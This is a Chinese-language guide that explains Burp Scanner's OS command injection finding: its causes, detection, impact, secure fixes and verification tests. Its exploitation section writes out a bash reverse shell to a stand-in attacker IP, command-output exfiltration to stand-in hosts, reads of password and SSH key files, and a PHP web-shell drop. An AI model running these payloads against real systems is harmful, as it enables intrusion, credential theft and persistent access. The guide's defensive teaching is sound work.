[Burp Scanner Issue] 001 OS Command Injection 完整解析:成因、攻擊手法與安全修補指南

OS Command Injection(作業系統命令注入)在資安領域中幾乎是「最不應該出現、但現實中卻反覆出現」的漏洞之一。它的嚴重性不亞於 SQL Injection,但在許多開發團隊的意識中,卻常被低估,甚至因為「功能正常」而被忽略。

這個漏洞的危險之處在於它跨越了應用程式的邊界,直接觸及底層作業系統。一旦被成功利用,攻擊者不再受限於應用程式本身的功能範疇,而是能以伺服器身份執行任何系統命令——讀取敏感檔案、新增帳號、建立後門、或向內網發起橫向攻擊。這正是它在 Burp Scanner 中被標記為 High Severity 的主要原因。


一、這是什麼漏洞?

白話解釋

OS Command Injection 的核心問題是:應用程式在執行系統指令時,把使用者提供的資料直接拼接進命令字串,並透過 Shell 直譯器執行,卻沒有做足夠的驗證與隔離。

舉個具體例子:假設一個網站有個「Ping 測試」功能,前端讓使用者輸入 IP,後端程式碼這樣寫(Node.js 示意):

// ❌ 危險寫法
const { exec } = require('child_process');
const userInput = req.query.ip; // 使用者輸入,未驗證
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>, (err, stdout) => {
  res.send(stdout);
});

當使用者輸入的不是合法 IP,而是 <code>8.8.8.8; cat /etc/passwd</code>,Shell 會把它拆解成兩個命令:

  1. <code>ping -c 4 8.8.8.8</code>
  2. <code>cat /etc/passwd</code>

兩個都會被執行,系統密碼檔案的內容就被吐回給攻擊者了。

漏洞本質

這個漏洞的本質是信任邊界的混淆:應用程式在建構命令時,沒有清楚區分「程式邏輯」和「使用者資料」,導致使用者資料被 Shell 當成命令邏輯來解讀。

與相近漏洞的差異

漏洞類型 注入目標 執行環境
OS Command Injection Shell 命令 作業系統層
SQL Injection SQL 查詢語句 資料庫層
Code Injection 應用程式語言(eval 等) 應用程式執行環境
LDAP Injection LDAP 查詢 目錄服務層

OS Command Injection 的破壞力通常最大,因為作業系統層的權限往往超越資料庫或應用程式層。


二、Burp Scanner 為什麼會報這個問題?

偵測策略:主動掃描為主

Burp Scanner 對 OS Command Injection 的偵測主要依賴主動掃描(Active Scanning),被動掃描較難觸發此類問題。

Burp 會在可疑的輸入點(URL 參數、POST 表單欄位、HTTP Header、Cookie 值等)注入各種測試 Payload,並觀察回應行為來判斷是否存在注入點。

常見的偵測手法

Burp Scanner 通常使用以下幾種方式來偵測 OS Command Injection:

1. 時間延遲測試(Time-based Detection)

這是最常見也最可靠的偵測方式。Burp 注入像這樣的 Payload:

  • Unix/Linux:<code>; sleep 10 #</code>、<code>|| sleep 10</code>、<code>& sleep 10 &</code>
  • Windows:<code>& timeout /t 10</code>、<code>| timeout /t 10</code>

若伺服器回應時間明顯增加(例如延遲 10 秒),Burp 就會判定命令被執行。這種方法的優點是不依賴錯誤訊息,在 Out-of-Band 環境也適用。

2. 輸出回顯測試(Output-based Detection)

Burp 嘗試在命令中插入能產生固定輸出的指令,例如:

  • Unix:<code>; echo BURP_CANARY_STRING</code>、<code>| id</code>、<code> </code>whoami<code> </code>
  • Windows:<code>& echo BURP_CANARY_STRING</code>

若回應頁面中出現對應字串,Burp 會確認注入成功。

3. Shell 特殊字元模糊測試

Burp 會系統性地對輸入點注入各種 Shell 特殊字元,觀察回應是否出現錯誤訊息、行為改變或結構性差異:

; | || & && ` $() > >> < 換行符號(%0a)

4. Out-of-Band(帶外)偵測

當應用程式完全沒有回傳命令輸出時,Burp Pro 的 Collaborator 功能會讓伺服器主動向外發出 DNS 查詢或 HTTP 請求:

; nslookup $(whoami).attacker.burpcollaborator.net

若 Collaborator 收到請求,即確認命令執行成功。

重要提醒

Burp Scanner 的報告不等同於可穩定利用。 掃描器的判定是基於行為特徵,以下情況可能造成誤報(False Positive):

  • 伺服器本身的網路延遲造成時間差誤判
  • 應用程式碰巧在回應中回傳了類似 Canary 的字串
  • WAF 或中間件篡改了請求/回應

所有 Burp 報告的 OS Command Injection 都應由資安人員進行人工驗證,確認是否真正可利用。


三、可能造成的風險與影響

OS Command Injection 被 Burp 標記為 High Severity,在 CVSS 評分中通常達到 9.0 以上,以下從多個面向說明實際衝擊:

機密性(Confidentiality)

  • 讀取伺服器上的任意檔案(<code>/etc/passwd</code>、<code>.env</code>、設定檔、私鑰)
  • 傾倒資料庫連線字串,進一步取得資料庫完整內容
  • 取得雲端環境的 Instance Metadata(如 AWS EC2 的 IAM Token)

完整性(Integrity)

  • 修改應用程式程式碼,植入 Web Shell
  • 竄改系統設定檔,破壞應用程式正常運作
  • 刪除或加密檔案(勒索軟體攻擊路徑之一)

可用性(Availability)

  • 執行 <code>rm -rf /</code> 或大量消耗資源的命令,造成服務中斷
  • 關閉關鍵服務或重啟系統

橫向移動(Lateral Movement)

應用程式伺服器通常位於 DMZ 或內網,攻擊者取得 Shell 後可利用伺服器作為跳板:

  • 掃描內網其他主機
  • 利用伺服器的內網憑證或信任關係,存取資料庫、儲存服務、內部 API
  • 滲透至 Kubernetes 叢集、CI/CD 系統或程式碼倉庫

持久性(Persistence)

  • 新增 SSH 公鑰至伺服器
  • 設定 Crontab 定期執行惡意程式
  • 安裝 Rootkit,即使漏洞被修補後仍保有存取權

即使執行命令的帳號權限受限(例如 <code>www-data</code>),攻擊者仍可透過本地提權漏洞或設定錯誤進一步擴大影響範圍。


四、常見成因

以下是工程師在開發過程中最常引入 OS Command Injection 的情境:

1. 直接拼接使用者輸入至命令字串

這是最根本的成因。開發者為了快速實現功能,直接使用字串拼接建構命令:

# ❌ Python 危險範例
import os
filename = request.args.get('file')
os.system(f"convert {filename} output.pdf")

2. 使用 Shell=True 模式執行子程序

許多語言提供的子程序 API 有一個選項允許透過 Shell 執行,這讓 Shell 特殊字元生效:

# ❌ Python subprocess 危險寫法
import subprocess
subprocess.run(f"grep {user_input} /var/log/app.log", shell=True)

3. 呼叫外部工具時未隔離參數

應用程式需要呼叫外部工具(如 ImageMagick、ffmpeg、git、curl)時,直接將使用者輸入作為參數傳入,卻沒有用 Argument Array 隔離:

// ❌ Node.js 危險範例
const exec = require('child_process').exec;
exec(<code>ffmpeg -i ${req.body.inputFile} output.mp4</code>);

4. 對使用者輸入的信任過度依賴前端驗證

後端完全信任前端的下拉選單或 JavaScript 驗證,認為使用者只能輸入預期的值,沒有在後端做白名單驗證。攻擊者只需用 curl 或 Burp 直接發送惡意請求即可繞過前端限制。

5. 測試用的系統呼叫殘留至正式環境

開發或測試階段為了方便 Debug,直接加入了呼叫系統命令的功能(如執行 shell script、呼叫診斷工具),部署至正式環境時忘記移除。

6. 第三方套件或 CMS 插件引入的間接呼叫

應用程式本身可能沒有問題,但所依賴的第三方函式庫或 CMS 插件內部有不安全的命令呼叫。這類問題往往在 SCA(Software Composition Analysis)掃描時才被發現。


五、攻擊者可能怎麼利用?

攻擊思路概覽

攻擊者通常會按照以下流程逐步確認與利用 OS Command Injection:

階段一:偵察與確認

攻擊者首先找到所有將使用者輸入傳遞給後端的點,特別關注那些「看起來像是觸發伺服器動作」的功能,例如:檔案轉換、Ping/Traceroute 工具、報表匯出、DNS 查詢、系統健康檢查。

階段二:注入測試

從簡單的特殊字元開始,觀察回應是否有異常:

常用偵測 Payload(Unix/Linux):

# 時間延遲確認(若頁面慢 10 秒才回應,代表命令被執行)
; sleep 10
| sleep 10
&& sleep 10
%0a sleep 10          # 換行符注入

# 輸出回顯確認
; echo vulnerable123
| id
; whoami
<code>id</code>
$(id)

# Out-of-Band(需 Burp Collaborator 或自建 DNS Server)
; nslookup <code>whoami</code>.your-server.com
; curl http://your-server.com/$(id)

常用偵測 Payload(Windows):

& timeout /t 10
| timeout /t 10
& echo vulnerable123
& whoami

階段三:確認後擴大利用

一旦確認命令執行,攻擊者會嘗試:

# 確認環境資訊
; uname -a; id; pwd; env

# 讀取敏感檔案
; cat /etc/passwd
; cat /proc/self/environ
; cat ~/.ssh/id_rsa

# 建立反向 Shell(以 bash 為例)
; bash -i >& /dev/tcp/attacker-ip/4444 0>&1

# 植入 Web Shell(確保持久存取)
; echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

如何手動檢測

在人工驗證時,建議按照以下步驟:

  1. 用 Burp Suite 攔截請求,找出所有可疑輸入點(包含 Header 和 Cookie)
  2. 注入時間延遲 Payload,確認伺服器回應時間是否符合預期延遲
  3. 嘗試輸出回顯,確認命令結果是否出現在回應中
  4. 若前兩者皆無回應,使用 Burp Collaborator 進行帶外確認
  5. 記錄所有測試過程,包含 Request/Response,以便後續修補驗證

六、開發與維運團隊該怎麼修補?

6.1 短期補救措施

在正式修補完成前,可先採取以下緊急措施降低風險:

  • WAF 規則強化:在 WAF 上加入規則,阻擋常見的 Shell 特殊字元組合(<code>;</code>、<code>|</code>、<code>&&</code>、<code> </code><code>、</code>$()`)傳入可疑的 API 端點。但要注意,這只是緩解措施,有繞過風險。
  • 流量監控與告警:在 SIEM 或 IDS 中設定規則,偵測包含 Shell 特殊字元的異常請求。
  • 降低執行權限:確認應用程式執行帳號(如 <code>www-data</code>、<code>node</code>)的權限是否符合最小權限原則,避免攻擊者在注入後直接取得 root 權限。
  • 暫時關閉高風險功能:若特定功能(如系統診斷工具)風險過高且非核心業務,評估暫時下架。

6.2 正確修補方式

原則一:完全避免使用系統命令(最優先)

大多數情境下,呼叫系統命令並非必要。以程式語言的原生函式庫替代:

// ❌ 危險:用命令列 ping
exec(<code class="kb-btn">ping -c 4 ${userInput}</code>);

// ✅ 安全:用 Node.js 原生 DNS 函式庫
const dns = require('dns');
dns.lookup(userInput, (err, address) => {
  // ...
});
# ❌ 危險:用命令列處理圖片
os.system(f"convert {user_file} output.png")

# ✅ 安全:用 Pillow 函式庫
from PIL import Image
img = Image.open(user_file_path)  # 注意 user_file_path 仍需驗證是否為合法路徑
img.save("output.png")

原則二:使用 Argument Array,絕不透過 Shell 執行

若確實必須呼叫外部程式,使用 Argument Array 傳遞參數,讓作業系統直接 fork/exec,不經過 Shell 直譯器:

// ❌ 危險:透過 Shell 執行,Shell 特殊字元生效
const { exec } = require('child_process');
exec(<code>ffmpeg -i ${userInput} output.mp4</code>);

// ✅ 安全:Argument Array,不經過 Shell
const { execFile } = require('child_process');
execFile('ffmpeg', ['-i', userInput, 'output.mp4'], (err, stdout) => {
  // Shell 特殊字元在這裡只是普通字串,不會被解讀
});
# ❌ 危險
import subprocess
subprocess.run(f"grep {keyword} /var/log/app.log", shell=True)

# ✅ 安全:列表傳參,shell=False(預設值)
subprocess.run(["grep", keyword, "/var/log/app.log"])

原則三:嚴格的白名單輸入驗證

若無法完全避免系統呼叫,在傳入命令前,對使用者輸入實施嚴格的白名單驗證:

# ✅ Python 白名單驗證範例
import re

def validate_ip_address(ip: str) -> bool:
    """只允許合法 IPv4 格式,拒絕所有其他字元"""
    pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    if not re.match(pattern, ip):
        return False
    parts = ip.split('.')
    return all(0 <= int(p) <= 255 for p in parts)

user_input = request.args.get('ip', '')
if not validate_ip_address(user_input):
    return jsonify({'error': 'Invalid IP address'}), 400

# 此時才呼叫(且應搭配 Argument Array)
subprocess.run(['ping', '-c', '4', user_input])

6.3 長期預防建議

  • 程式碼審查 Checklist:在 Code Review 的 Checklist 中加入「是否使用了 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code>」等危險模式的確認項目。
  • SAST 工具導入:在 CI/CD Pipeline 中整合靜態應用程式安全測試(SAST),自動偵測危險的命令執行模式(如 Semgrep、Bandit、ESLint security plugin)。
  • SCA 掃描:對依賴套件進行成分分析,確認第三方函式庫是否有已知的 Command Injection 漏洞。
  • 容器最小化:以最小化的 Docker 映像執行應用程式,移除非必要的系統工具(如 <code>bash</code>、<code>nc</code>、<code>curl</code>),降低攻擊者可利用的工具數量。
  • 開發者資安教育:定期對開發團隊進行 Secure Coding 訓練,讓大家瞭解「呼叫系統命令」是高風險操作,必須特別謹慎。

七、如何驗證是否修好?

修補完成後,應透過多種方式確認漏洞已被正確消除:

Burp Suite 重新掃描

在 Burp Scanner 中對修補後的端點重新執行主動掃描,確認不再觸發 OS Command Injection 的告警。若使用 Burp Enterprise,可在 CI/CD Pipeline 中整合自動掃描,確保每次部署後都能驗證。

手動驗證重點

  1. 重現原始 Payload:使用原本發現漏洞的 Payload,確認伺服器回應已正常,不再有時間延遲或命令輸出。
  2. 邊界測試:嘗試各種 Shell 特殊字元組合,確認白名單驗證是否足夠嚴謹。
  3. 繞過測試:測試 URL Encoding(<code>%3b</code>、<code>%7c</code>)、雙重編碼、Unicode 變體等,確認驗證邏輯沒有被繞過的空間。
  4. 確認使用 Argument Array:透過 Code Review 確認程式碼使用了安全的 API,而非依賴字串過濾。

日誌觀察

  • 在修補後的測試期間,觀察應用程式日誌、WAF 日誌是否有異常請求被攔截
  • 若有 IDS/SIEM,確認是否有針對 Shell 特殊字元的告警觸發

自動化測試

# 整合測試範例:確認命令注入 Payload 被拒絕
import requests

PAYLOADS = [
    "; sleep 10",
    "| id",
    "&& whoami",
    "<code>id</code>",
    "$(id)",
    "%0a id",
]

def test_command_injection_blocked():
    base_url = "https://your-app.com/api/ping"
    for payload in PAYLOADS:
        response = requests.get(base_url, params={"ip": f"8.8.8.8{payload}"}, timeout=5)
        # 確認請求在 5 秒內回應(排除 sleep 注入成功的情況)
        assert response.elapsed.total_seconds() < 8, f"Possible injection with payload: {payload}"
        assert response.status_code in [400, 422], f"Expected validation error, got: {response.status_code}"

八、從 SSDLC 角度,應該在哪個階段攔下來?

OS Command Injection 是一個在所有 SSDLC 階段都應該被關注的漏洞,但各階段的著力點不同:

Requirements(需求階段)

預防重點: 在定義功能需求時,就應明確規範哪些功能「不應使用系統命令呼叫」。若業務需求確實需要呼叫外部程式,應在需求文件中標記為高風險功能,並要求設計和實作時採用安全機制。

實務上,許多「Ping 工具」、「檔案格式轉換」等功能在需求階段就可以改用程式庫實作,完全避免系統呼叫的需求。

Design(設計階段)

預防重點: 進行威脅建模(Threat Modeling)時,識別所有需要呼叫外部程序的設計決策,並在設計文件中明確規範安全的呼叫方式(Argument Array、最小權限帳號、沙盒環境)。

設計時也應考慮是否需要針對此類功能設計額外的存取控制層,確保只有授權使用者才能觸發涉及系統呼叫的操作。

Implementation(實作階段)

最容易引入漏洞的階段,也是最重要的防禦點。

  • 制定 Secure Coding Guidelines,明確禁止使用不安全的命令執行模式
  • 進行 Peer Code Review 時,重點審查所有涉及 <code>exec</code>、<code>system</code>、<code>popen</code>、<code>shell=True</code> 的程式碼
  • 使用 SAST 工具(如 Semgrep、Bandit)在開發階段即時偵測危險模式

Verification(驗證階段)

最容易被發現的階段。

  • 執行 DAST 掃描(如 Burp Scanner、OWASP ZAP)對所有輸入點進行自動化測試
  • 安排 Penetration Testing,由資安人員人工驗證高風險功能點
  • 在 CI/CD Pipeline 中整合自動化安全測試,確保每個 PR 都通過基本的安全檢查

Deployment(部署階段)

預防重點: 確保部署環境遵循最小權限原則:

  • 應用程式執行帳號只有必要的系統權限
  • 容器映像移除不必要的系統工具
  • 啟用 AppArmor 或 Seccomp Profile,限制容器可執行的系統呼叫

Operations(維運階段)

預防重點: 建立持續監控機制:

  • WAF 規則定期更新,涵蓋最新的繞過手法
  • SIEM 告警規則偵測異常的系統命令執行行為
  • 定期進行安全掃描(週期性 DAST),確保新功能沒有引入新的注入點
  • 建立漏洞回報與修補的 SOP,確保發現問題時能快速處置

最佳預防時機: Requirements → Design → Implementation(越早越好)
最容易發現時機: Verification → Operations


九、這個漏洞常見的誤解

誤解一:「Burp 掃到了,但我們有 WAF,應該沒問題」

WAF 是一層重要的防禦,但不是萬靈丹。攻擊者有許多繞過 WAF 的手法,包含 URL 編碼、大小寫混用、使用替代的 Shell 語法(如 <code class="kb-btn">${IFS}</code> 替代空格)。

正確的做法是修復根本原因(使用安全 API、實施白名單驗證),而不是依賴 WAF 來遮掩問題。

誤解二:「掃描器說是 High,但應用程式只是一個內部工具,沒有對外開放」

即使是內部工具,OS Command Injection 仍然危險。內部使用者(包含被攻擊的內部帳號、或透過 VPN 進入的攻擊者)都可能利用這個漏洞。許多大型資安事件的起點,正是一個「不重要的內部工具」。

誤解三:「我們做了輸出編碼,所以是安全的」

輸出編碼(Output Encoding)是防禦 XSS 的手段,不能防禦 OS Command Injection。這兩者是不同的漏洞,需要不同的防禦機制。防禦 OS Command Injection 的核心是輸入驗證使用安全 API,而非輸出編碼。

誤解四:「掃描有報不代表真的可以利用,先放著沒關係」

時間延遲型的 Command Injection 確認方式已相當可靠,「有報有原因」是基本原則。即便在極少數的誤報情況下,也應該花時間人工確認並關閉。把高風險漏洞列為「待確認」而長期擱置,是許多企業資安事件的共同前因。


十、重點整理

  • OS Command Injection 的根本成因是信任邊界的混淆:應用程式將未驗證的使用者輸入傳遞給 Shell 直譯器,讓使用者資料被當成命令邏輯執行。
  • 修補的最優先策略是完全避免系統命令呼叫,改用程式語言的原生函式庫;若必須呼叫外部程式,應使用 Argument Array,絕對不透過 Shell 傳遞命令字串。
  • Burp Scanner 的高嚴重性報告需要人工驗證,但絕不應因此而輕忽——時間延遲型偵測的可靠度相當高,誤報率低。
  • 從 SSDLC 角度,預防 OS Command Injection 最有效的階段是 Requirements 和 Implementation,越早在設計上排除「使用系統命令」的需求,修補成本越低。
  • WAF、最小權限、容器隔離都是重要的縱深防禦層,但不能取代根本的程式碼修補——安全的架構需要多層防線同時到位。

十一、參考對照

項目 內容
Burp Scanner Issue Name OS command injection
Severity High
Type Index (Hex) 0x00100100
Type Index (Dec) 1048832
CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
CWE-116 Improper Encoding or Escaping of Output
CAPEC CAPEC-248: Command Injection
參考資源 Web Security Academy: OS command injection